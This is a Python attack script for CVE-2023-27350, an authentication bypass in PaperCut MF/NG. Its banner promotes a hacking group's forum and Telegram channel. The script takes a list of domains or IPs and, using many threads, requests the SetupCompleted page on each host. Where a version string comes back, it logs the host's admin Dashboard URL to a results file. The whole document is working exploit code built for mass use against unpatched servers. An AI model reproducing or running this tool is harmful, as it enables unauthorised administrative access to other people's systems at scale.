papercut.py

# Author: Pari Malam

import os
import re
import requests
import concurrent.futures
from sys import stdout
from bs4 import BeautifulSoup
from colorama import Fore, init
init(autoreset=True)
requests.packages.urllib3.disable_warnings()

FR  =   Fore.RED
FY  =   Fore.YELLOW
FW  =   Fore.WHITE
FG  =   Fore.GREEN
FC  =   Fore.CYAN

if not os.path.exists('Results'):
    os.mkdir('Results')

def banners():
    os.system('clear' if os.name == 'posix' else 'cls')
    stdout.write("                                                                                         \n")
    stdout.write(""+Fore.LIGHTRED_EX +"██████╗ ██████╗  █████╗  ██████╗  ██████╗ ███╗   ██╗███████╗ ██████╗ ██████╗  ██████╗███████╗   ██╗ ██████╗ \n")
    stdout.write(""+Fore.LIGHTRED_EX +"██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗  ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝   ██║██╔═══██╗\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║  ██║██████╔╝███████║██║  ███╗██║   ██║██╔██╗ ██║█████╗  ██║   ██║██████╔╝██║     █████╗     ██║██║   ██║\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║  ██║██╔══██╗██╔══██║██║   ██║██║   ██║██║╚██╗██║██╔══╝  ██║   ██║██╔══██╗██║     ██╔══╝     ██║██║   ██║\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██║  ██║██╔══██╗██╔══██║██║   ██║██║   ██║██║╚██╗██║██╔══╝  ██║   ██║██╔══██╗██║     ██╔══╝     ██║██║   ██║\n")
    stdout.write(""+Fore.LIGHTRED_EX +"██████╔╝██║  ██║██║  ██║╚██████╔╝╚██████╔╝██║ ╚████║██║     ╚██████╔╝██║  ██║╚██████╗███████╗██╗██║╚██████╔╝\n")
    stdout.write(""+Fore.LIGHTRED_EX +"╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝ \n")
    stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════════════════════\n")
    stdout.write(""+Fore.YELLOW   +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR             "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   PARI MALAM                                    "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB             "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   GITHUB.COM/PARI-MALAM                         "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"╔════════════════════════════════════════════════════════════════════════════╝\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"OFFICIAL FORUM     "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   DRAGONFORCE.IO                                "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"OFFICIAL TELEGRAM  "+Fore.RED+"    |"+Fore.LIGHTWHITE_EX+"   TELEGRAM.ME/DRAGONFORCEIO                     "+Fore.YELLOW+"║\n")
    stdout.write(""+Fore.YELLOW   +"╚════════════════════════════════════════════════════════════════════════════╝\n") 
    print(f"{Fore.YELLOW}[CVE-2023-27350] - {Fore.GREEN}PaperCut MF/NG Authentication Bypass\n")
banners()



def URLdomain(url):
    return url.split('/')[0]



def meowing(url):
    hehe = "http://" + URLdomain(url) + "/app?service=page/SetupCompleted"
    try:
        r = requests.get(hehe, timeout=5)
    except:
        print(f"{FY}[CVE-2023-27350] - {FC}[Invalid/Timeout!] - {FW}http://{URLdomain(url)}")
        return

    s = BeautifulSoup(r.text, 'html.parser')
    t = s.find('div', class_='text')

    if t is None:
        print(f"{FY}[CVE-2023-27350] - {FR}[Failed!] - {FW}http://{URLdomain(url)}")
        return

    p = t.find('span', class_='product')

    if p is None:
        print(f"{FY}[CVE-2023-27350] - {FR}[Failed!] - {FW}http://{URLdomain(url)}")
        return

    vp = None
    for span in t.find_all('span'):
        vm = re.match(r'^\d+\.\d+\.\d+$', span.text.strip())
        if vm:
            vp = span
            break

    if vp is None:
        print(f"{FY}[CVE-2023-27350] - {FR}[Not Vulnerable!] - {FW}http://{URLdomain(url)}")
    else:
        vs = vp.text.strip()
        print(f"{FY}[CVE-2023-27350] - {FG}[W00T!] - {FW}{hehe} - {FC}[Version]:", vs)
        print(f"{FY}[CVE-2023-27350] - {FG}[W00T!] - {FW}http://{URLdomain(url)}/app?service=page/Dashboard")
        with open("Results/Results.txt", "a") as f:
            f.write(f"[+] Version: {vs}\n[+] SetupCompleted: {hehe}\n[+] Dashboard: http://{URLdomain(url)}/app?service=page/Dashboard\n\n")


def pc():
    w00t = input(f"{FY}DOMAIN/IP LIST: {FW}")
    with open(w00t) as f:
        urls = [line.strip() for line in f]

    hm = int(input(f"{FY}THREAD: {FW}"))
    with concurrent.futures.ThreadPoolExecutor(max_workers=hm) as executor:
        executor.map(meowing, urls)


pc()